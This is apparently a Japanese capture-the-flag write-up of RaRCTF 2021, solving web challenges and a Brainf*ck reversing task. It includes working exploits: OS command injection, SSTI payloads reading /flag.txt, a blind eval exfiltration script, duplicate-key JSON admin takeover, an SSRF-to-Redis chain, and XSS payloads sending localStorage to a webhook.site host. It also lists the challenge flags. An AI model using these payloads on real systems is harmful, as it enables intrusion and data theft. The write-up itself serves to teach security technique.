8/7 - 8/10という日程で開催された。zer0ptsで参加して2位。2位の賞金に加えてSecure Storageでfirst bloodを取った賞品(猫型ランプ+α)ももらえるらしく嬉しい。

→ (9/9追記) 届いた。かわいい。


[Web 100] lemonthinker (395 solves)

OS Command Injection。

@app.route('/generate', methods=['POST'])
def upload():
    global clean
    if time.time() - clean > 60:
      os.system("rm static/images/*")
      clean = time.time()
    text = request.form.getlist('text')[0]
    text = text.replace("\"", "")
    filename = "".join(random.choices(chars,k=8)) + ".png"
    os.system(f"python3 generate.py {filename} \"{text}\"")
    return redirect(url_for('static', filename='images/' + filename), code=301)

$(cat /flag.txt|cut -c2-) みたいな感じで cut コマンドを使ってちまちまフラグを読み出せばよい。

f:id:st98:20210810063644p:plain

rarctf{b451c-c0mm4nd_1nj3ct10n_f0r-y0u_4nd_y0ur-l3m0nth1nk3rs_d8d21128bf}

[Web 150] Secure Uploader (137 solves)

Path Traversal。Burp Suiteなどで ///flag という名前のファイルをアップロードすればフラグが得られる。

f:id:st98:20210810064420p:plain

rarctf{4lw4y5_r34d_th3_d0c5_pr0p3rly!-71ed16}

[Web 100] Fancy Button Generator (109 solves)

XSS botjavascript: スキームのURLも受け付けてくれる。javascript:location.href=['https://webhook.site/…?',localStorage.flag] というURLを報告するとフラグが得られた。

rarctf{th0s3_f4ncy_butt0n5_w3r3_t00_cl1ck4bl3_f0r_u5_a4667cb69f}

[Web 400] Microservices As A Service 1 (75 solves)

以下のように不必要に eval が呼ばれており、好きなPythonコードが実行できる。

@app.route('/arithmetic', methods=["POST"])
def arithmetic():
    if request.form.get('add'):
        r = requests.get(f'http://arithmetic:3000/add?n1={request.form.get("n1")}&n2={request.form.get("n2")}')
    elif request.form.get('sub'):
        r = requests.get(f'http://arithmetic:3000/sub?n1={request.form.get("n1")}&n2={request.form.get("n2")}')
    elif request.form.get('div'):
        r = requests.get(f'http://arithmetic:3000/div?n1={request.form.get("n1")}&n2={request.form.get("n2")}')
    elif request.form.get('mul'):
        r = requests.get(f'http://arithmetic:3000/mul?n1={request.form.get("n1")}&n2={request.form.get("n2")}')
    result = r.json()
    res = result.get('result')
    if not res:
        return str(result.get('error'))
    try:
        res_type = type(eval(res))
        if res_type is int or res_type is float:
            return str(res)
        else:
            return "Result is not a number"
    except NameError:
        return "Result is invalid"

ただし、/flag.txt を読み出そうにも外部との通信はできないし、コードからわかるように eval した結果が表示されることもない。でも、エラーが起きたかどうかはわかるので、その情報を使って1ビットずつフラグを読み出せばよい。

import urllib.parse
import requests

def query(n1, n2):
  r = requests.post('https://maas.rars.win/calculator', data={
    'mode': 'arithmetic',
    'add': '+',
    'n1': n1, 'n2': n2
  })

  t = r.text
  t = t[t.find(r'<pre style="border: 2px solid black">')+37:]
  t = t[:t.find('\n')]

  if 'DOCTYPE HTML PUBLIC' in t:
    raise Exception('??')

  return 'not a number' not in t

i = 0
res = ''
while True:
  c = 0
  for j in range(7):
    if query(f"""(ord(open('/flag.txt','r').read()[{i}]) %26 (1 << {j})) or 'a'""", '%23'):
      c |= 1 << j
  res += chr(c)
  print(i, res)
  i += 1
rarctf{0v3rk1ll_4s_4_s3rv1c3_3fca0faa}

[Web 500] Microservices As A Service 2 (59 solves)

notes/renderrender_template_string が呼ばれており、bio というユーザ入力を引数としているためSSTIができる。

@app.route("/render", methods=["POST"])
def render_bio():
    data = request.json.get('data')
    if data is None:
        data = {}
    return render_template_string(request.json.get('bio'), data=data)

ただし、このAPIを直接呼ぶことはできない。以下のように表からアクセスできる app から /notes/profile にアクセスすることで間接的に呼び出される。

def render_bio(username, userdata):
    data = {"username": username,
            "mode": "bioget"}
    r = requests.post("http://notes:5000/useraction", data=data)
    try:
        r = requests.post("http://notes:5000/render", json={"bio": r.text, "data": userdata})
        return r.text
    except:
        return "Error in bio"

# ...

@app.route('/notes/profile', methods=["POST", "GET"])
def profile():
    username = session.get('notes-username')
    if not username:
        return redirect('/notes/register')
    uid = requests.get(f"http://notes:5000/getid/{username}").text
    if request.method == "GET":
        return render_template("profile.html",
                               bio=render_bio(username, userdata(username)),
                               userid=uid
                               )
    # ...

render_template_string に渡される bio の変更は以下のようなコードでなされる。よく見ると bio.replace の結果が bio に代入されていない。Pythonstr.replace は非破壊的であるから、結局 {} といった文字は bio から取り除かれない。

    elif mode == "bioadd":
        bio = request.form.get("bio")
        bio.replace(".", "").replace("_", "").\
            replace("{", "").replace("}", "").\
            replace("(", "").replace(")", "").\
            replace("|", "")

        bio = re.sub(r'\[\[([^\[\]]+)\]\]', r'{{data["\g<1>"]}}', bio)
        red = redis.Redis(host="redis_users")
        port = red.get(username).decode()
        requests.post(f"http://redis_userdata:5000/bio/{port}", json={
            "bio": bio
        })
        return ""

{{url_for.__globals__['__builtins__'].open('/flag.txt').read()}}bio に設定するとフラグが得られた。

rarctf{wh4t_w4s_1_th1nk1ng..._60a4ee96}

[Web 600] Microservices As A Service 3 (35 solves)

ユーザ名が admin であり、かつユーザIDが 0 であるユーザにログインできればフラグが得られる。

@app.route("/login", methods=["POST"])
def login():
    user = request.json['username']
    password = request.json['password']
    entry = get_user(name=user)
    if entry:
        if entry[2] == password:
            data = {"uid": entry[0], "name": user}
            if user == "admin" and entry[0] == 0:
                data['flag'] = open("/flag.txt").read()
            return jsonify(data)
        else:
            return jsonify({"error": "Incorrect password"})
    else:
        return jsonify({"uid": add_user(user, password), "name": user})

ユーザ側からユーザIDを変更することはできない。パスワードについては表からアクセスできる app/manager/update で変更できるが、以下のようにJSONスキーマによって変更対象のユーザのIDが自身のID以上の数値であるかチェックされている。

JSONスキーマによるユーザ入力のチェック後に http://manager:5000/update という内部からだけアクセスできるAPIを叩いてユーザ情報を変更している。ここでPOSTするデータとして request.get_data() を与えているが、これはPOSTされたデータをそのまま返す関数であることに注意する。つまり、重複したキーを持つJSONが与えられたとしても、managerAPIを叩くときにはそのままそのJSONが与えられてしまう。

@app.route("/manager/update", methods=["POST"])
def manager_update():
    schema = {"type": "object",
              "properties": {
                  "id": {
                      "type": "number",
                      "minimum": int(session['managerid'])
                  },
                  "password": {
                      "type": "string",
                      "minLength": 10
                  }
              }}
    try:
        jsonschema.validate(request.json, schema)
    except jsonschema.exceptions.ValidationError:
        return jsonify({"error": f"Invalid data provided"})
    return jsonify(requests.post("http://manager:5000/update",
                                 data=request.get_data()).json())

manager 側の /update のコードを確認すると、以下のように与えられたJSONをさらに manager_updater に投げている。

@app.route("/update", methods=["POST"])
def update():
    return jsonify(requests.post("http://manager_updater:8080/",
                                 data=request.get_data()).json())

manager_updater はGoで書かれている。Python側ではユーザIDが 0 以外のものに、Go側では 0 に解釈されるようなJSONを投げれば admin のパスワードを変更できるのではないか。

以下のように複数の id キーを持つJSONを使うと、admin のパスワードを変更し admin としてログインすることができた。

import base64
import json
import uuid
import zlib
import requests

def parse_session(sess):
  compressed = False
  if sess[0] == '.':
    compressed = True
    sess = sess[1:]
  sess = base64.urlsafe_b64decode(sess.split('.')[0] + '==')
  if compressed:
    sess = zlib.decompress(sess)
  sess = json.loads(sess[:sess.find(b'}')+1])
  return sess

host = 'https://maas.rars.win/'

username = str(uuid.uuid4())
password = str(uuid.uuid4())

s = requests.Session()
s.post(f'{host}/manager/login', data={
  'username': username,
  'password': password
})

sess = parse_session(s.cookies['session'])
id = sess['managerid']
r = s.post(f'{host}/manager/update', data=f'{{"id":0,"id":{id},"password":"{password}"}}', headers={
  'content-type': 'application/json'
})
print(r.text)

r = requests.post(f'{host}/manager/login', data={
  'username': 'admin',
  'password': password
})
print(r.text)
rarctf{rfc8259_15_4_b1t_v4gu3_1a97a3d3}

[Web 650] MAAS 3.5: User Manager (32 solves)

Microservices As A Service 3と同じexploitでフラグが得られた。

rarctf{k33p_n3tw0rks_1s0l4t3d_lol_ef2b8ddc}

[Web 650] Secure Storage (17 solves)

securestorage.rars.winsecureenclave.rars.win というふたつのドメインがあり、前者のページが後者のページを iframe で埋め込んでいるという関係にある。フラグは secureenclave.rars.winlocalStorage に格納されている。

secureenclave.rars.win では以下のようなスクリプトが実行されており、securestorage.rars.win から postMessage でデータが届けばそれを表示するという処理を行っている。

/* hey... what are you doing here??? 😡 */

console.log("secure js loaded...");

const z=(s,i,t=window,y='.')=>s.includes(y)?z(s.substring(s.indexOf(y)+1),i,t[s.split(y).shift()]):t[s]=i;

var user = "";
const render = () => {
    document.getElementById("user").innerText = user;
    document.getElementById("message").innerText = localStorage.message || "None set";
    document.getElementById("message").style.color = localStorage.color || "black";
};

window.onmessage = (e) => {
    let { origin, data } = e;
    if(origin !== document.getElementById("site").innerText || !Array.isArray(data)) return;
    z(...data.map(d => `${d}`));
    render();
};

z という関数をリネームなどで読みやすくすると以下のようになる。この関数は z('a.b.c', 'poyo') というように第一引数としてプロパティ名、第二引数として値を受け取り、そのプロパティに値を代入する。今挙げた例だと a.b.c = 'poyo' とほぼ同じ。

function recursiveAssign(key, value, obj = window, delimiter = '.') {
  if (key.includes(delimiter)) {
    return recursiveAssign(
      key.substring(key.indexOf(delimiter) + 1),
      value,
      obj[key.split(delimiter)[0]]
    );
  }

  return obj[key] = value;
}

securestorage.rars.win からは本来であれば ['localStorage.message','hello'] のようなメッセージだけが送られ、操作されるプロパティは localStorage だけのはず。だが、securestorage.rars.win にはログイン時のflash messageでユーザ名をエスケープせず出力する脆弱性があるため、このXSSによって任意のオブジェクトのプロパティが操作できてしまう。

location.hrefjavascript: スキームのURLを代入してしまえばよさそうだが、残念ながら secureenclave.rars.win では default-src 'self'; style-src 'self' https://fonts.googleapis.com/css2; font-src 'self' https://fonts.gstatic.com というCSPが有効になっているために実行されない。ではどうするかというと、securestorage.rars.winsecureenclave.rars.win の両方で document.domain に同じドメイン名を代入してページのオリジンを変えてしまえばよい。これなら securestorage.rars.win から secureenclave.rars.winlocalStorage の値が読み出せるはずだ。

以下のようなHTMLとJavaScriptを用意し、adminにアクセスさせるとフラグが得られた。

exp.html

<body>
  <form method="POST" action="https://securestorage.rars.win/api/register" id="form">
    <input type="text" name="user" id="user">
    <input type="text" name="pass" value="poyoyon">
  </form>
  <script src="index.js"></script>
</body>

index.js

const payload = `
<script>
a = ${Math.random()};
window.addEventListener('load', () => {
  document.domain='rars.win';
  let storage = document.getElementById("secure_storage");
  setTimeout(()=>{
    storage.contentWindow.postMessage(['document.domain', 'rars.win'], storage.src);
    setTimeout(() => {
      navigator.sendBeacon('https://webhook.site/…', storage.contentWindow.localStorage.message)
    }, 500)
  }, 500);
});
</script>
`;
window.addEventListener('load', () => {
  document.getElementById('user').value = payload;
  document.getElementById('form').submit();
});
rarctf{js_god?_the_wh0le_1nternet_1s_y0ur_d0main!!!_60739238}

[Web 550] MAAS 2.5: Notes (16 solves)

Microservices As A Service 2の続き。bio.replace の結果がちゃんと bio に代入されるようになり、ただ bio を変更するだけではSSTIでRCEに持ち込むことができなくなった。

このアプリでは redis_userdata というホストでユーザごとにポート番号を割り振って別々にRedisサーバを立て、好きなキーに好きな値を SET することができるようになっている。bioredis_userdata/tmp/(ポート番号).txt というファイルに保存されており、ただRedisサーバにデータを書き込むだけではSSTIには持ち込めない。

このアプリには MIGRATE コマンドで別のRedisサーバにデータをコピーできる keytransfer という機能もあるらしい。

redis_userdata の他にも redis_users というRedisサーバが立っているホストがあり、こちらではユーザ名に対応するポート番号が格納されている。keytransfer はデータのコピー先について、ポート番号だけでなくホスト名まで操作できるから、redis_users にもデータを書き込めてしまう。

    elif mode == "keytransfer":
        red = redis.Redis(host="redis_users")
        port = red.get(username).decode()
        red2 = redis.Redis(host="redis_userdata",
                           port=int(port))
        red2.migrate(request.form.get("host"),
                     request.form.get("port"),
                     [request.form.get("key")],
                     0, 1000,
                     copy=True, replace=True)
        return ""

ユーザ名に対応するポート番号の書き換えで何ができるだろうか。ソースコードを読んで悪用の方法を考える。ユーザの bio の表示では以下のように notes/useraction というAPIを叩いてデータを取得してきているが、

def render_bio(username, userdata):
    data = {"username": username,
            "mode": "bioget"}
    r = requests.post("http://notes:5000/useraction", data=data)
    try:
        r = requests.post("http://notes:5000/render", json={"bio": r.text, "data": userdata})
        return r.text
    except:
        return "Error in bio"

# ...

@app.route('/notes/profile', methods=["POST", "GET"])
def profile():
    username = session.get('notes-username')
    if not username:
        return redirect('/notes/register')
    uid = requests.get(f"http://notes:5000/getid/{username}").text
    if request.method == "GET":
        return render_template("profile.html",
                               bio=render_bio(username, userdata(username)),
                               userid=uid
                               )

notes 側では redis_users から取ってきたポート番号を無検証に http://redis_userdata:5000/getuser/{port} というURLに展開してHTTPリクエストを送っている。このため、例えばポート番号として数値でなく ../getuser/(適当なユーザのポート番号) が返ってくると、/bio/(ポート番号) の代わりに別の適当なユーザのデータが返ってきてしまう。

これなら適当なユーザのRedisサーバにSSTIのペイロードを仕込んでやることで、 str.replace によるフィルターを回避してSSTIができる。

    elif mode == "bioget":
        red = redis.Redis(host="redis_users")
        port = red.get(username).decode()
        r = requests.get(f"http://redis_userdata:5000/bio/{port}")
        return r.text

以下のexploitコードを実行するとフラグが得られた。

import re
import uuid
import requests

#host = 'http://localhost:5000/'
host = 'https://maas2.rars.win/'
#payload = '{{config}}'
payload = "{{url_for.__globals__['__builtins__'].open('/flag.txt').read()}}"

username = str(uuid.uuid4())
s1 = requests.Session()

# 1. register as (user_A)
r = s1.post(host + '/notes/register', data={
  'username': username
})
port = re.findall(r'Profile: (\d+)', r.text)[0]

# 2. register as ../getid/(user_A)
s2 = requests.Session()
s2.post(host + '/notes/register', data={
  'username': f'../getid/{username}'
})

# 3. set ../getid/(user_A)'s port as ../getuser/(user_A's port) using SSRF
s1.post(host + '/notes/profile', data={
  'mode': 'adddata',
  'key': f'../getid/{username}',
  'value': f'../getuser/{port}'
})
s1.post(host + '/notes/profile', data={
  'mode': 'keytransfer',
  'host': 'redis_users',
  'port': '6379',
  'key': f'../getid/{username}'
})

# 4. post SSTI payload as (user_A)'s entry
s1.post(host + '/notes/profile', data={
  'mode': 'adddata',
  'key': f'test',
  'value': payload
})

print(s2.get(host + '/notes/profile').text)
rarctf{.replace()_1s_n0t_1n_pl4c3...e8d54d13}

[Web 250] Electroplating (15 solves)

Rustで String を返す関数内にユーザ入力が挿入され実行できるが、実行時にはseccompのために read, write, close, mummap, sendto, exit, readlink, sigaltstack, futex, exit_group, getrandom の11個のシステムコールしか呼び出せないという制限がある。この制限の中で /flag.txt を読み出さなければならない。

Rustには include_str! というマクロがあり、これを使えばコンパイル時にファイルを文字列として読み込ませることができる。<templ>return String::from(include_str!("/flag.txt"));</templ> でフラグが得られた。

rarctf{D0n7_l3t-y0ur-5k1ll5-g0-rus7y!-24c55263}

[Rev 600] boring flag checker (23 solves)

Brainf*ckのリバースエンジニアリング問。私が問題を確認した時点でx0r19x91さんとnyankoさんによって prog.bin が既にBrainf*ckコードに変換されていた。

Brainf*ckコードを眺めていると、以下の画像の赤枠で囲った箇所ではメモリをクリアしていそうだなあとわかる。このメモリをクリアする箇所を削除すればどんな値がメモリに残るのか気になるところ。

f:id:st98:20210810095100p:plain

aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa を入力した場合のメモリ:

0000:  01  01  00  EF  00  EF  FE  ED  FB  E6  30  02  ..........0.
000C:  F9  31  F1  2E  02  E8  31  EC  34  2E  F3  F7  .1....1.4...
0018:  F2  E8  2E  FD  02  F4  E8  34  1F  EF  2D  30  .......4..-0
0024:  F3  1B  3D  3B  F6  02  EF  2E  EB  40  02  FD  ..=;.....@..
0030:  2E  29  2A  30  2A  30  2A  2C  30  E4  00  00  .)*0*0*,0...

bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb を入力した場合のメモリ:

0000:  01  01  00  F0  01  F0  FF  EE  FC  E7  31  03  ..........1.
000C:  FA  32  F2  2F  03  E9  32  ED  35  2F  F4  F8  .2./..2.5/..
0018:  F3  E9  2F  FE  03  F5  E9  35  20  F0  2E  31  ../....5...1
0024:  F4  1C  3E  3C  F7  03  F0  2F  EC  41  03  FE  ..><.../.A..
0030:  2F  2A  2B  31  2B  31  2B  2D  31  E5  00  00  /*+1+1+-1...

rarctf{bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb を入力した場合のメモリ:

0000:  01  01  00  00  00  00  00  00  00  00  31  03  ..........1.
000C:  FA  32  F2  2F  03  E9  32  ED  35  2F  F4  F8  .2./..2.5/..
0018:  F3  E9  2F  FE  03  F5  E9  35  20  F0  2E  31  ../....5...1
0024:  F4  1C  3E  3C  F7  03  F0  2F  EC  41  03  FE  ..><.../.A..
0030:  2F  2A  2B  31  2B  31  2B  2D  31  E5  00  00  /*+1+1+-1...

これらを見比べると、正解の文字が増えるほど0の数が増えていることがわかる。この性質を使えば1文字ずつフラグが特定できる。

import io

with open('poyo.bf', 'r') as f:
  code = f.read()

class Memory(object):
  def __init__(self):
    self.memory = [0 for _ in range(30000)]
    self.accessed = [0 for _ in range(30000)]

  def __getitem__(self, k):
    self.accessed[k] += 1
    return self.memory[k]

  def __setitem__(self, k, v):
    self.memory[k] = v

def run(code, inp):
  mem = Memory()
  p = 0
  i = 0
  inp = io.BytesIO(inp)

  out = ''
  cycle = 0

  while i < len(code):
    c = code[i]
    cycle += 1#

    if c == '+':
      mem[p] = (mem[p] + 1) % 256
    elif c == '-':
      mem[p] = (mem[p] - 1) % 256
    elif c == '>':
      p += 1
    elif c == '<':
      p -= 1
    elif c == '.':
      out += chr(mem[p])
    elif c == ',':
      tmp = inp.read(1)
      if len(tmp) == 0:
        tmp = b'\0'
      mem[p] = ord(tmp)
    elif c == '[':
      if mem[p] == 0:
        d = 1
        while d != 0 and i < len(code):
          i += 1
          c = code[i]
          cycle += 1#
          if c == '[':
            d += 1
          elif c == ']':
            d -= 1
    elif c == ']':
      if mem[p] != 0:
        d = 1
        while d != 0 and i >= 0:
          i -= 1
          c = code[i]
          cycle += 1#
          if c == '[':
            d -= 1
          elif c == ']':
            d += 1
    i += 1

  return {
    'out': out,
    'cycle': cycle,
    'mem': mem.memory,
    'freq': mem.accessed[:100]
  }

flag = [0x61 for _ in range(55)]
for i in range(len(flag)):
  ma, mc = 0, 0
  for c in range(0x20, 0x7f):
    flag[i] = c
    cnt = run(code, bytes(flag))['mem'].count(0)
    if cnt > ma:
      ma, mc = cnt, c
  flag[i] = mc
  print(bytes(flag))
rarctf{1_h0p3_y0u-3njoy3d_my-Br41nF$&k_r3v!_d387171751}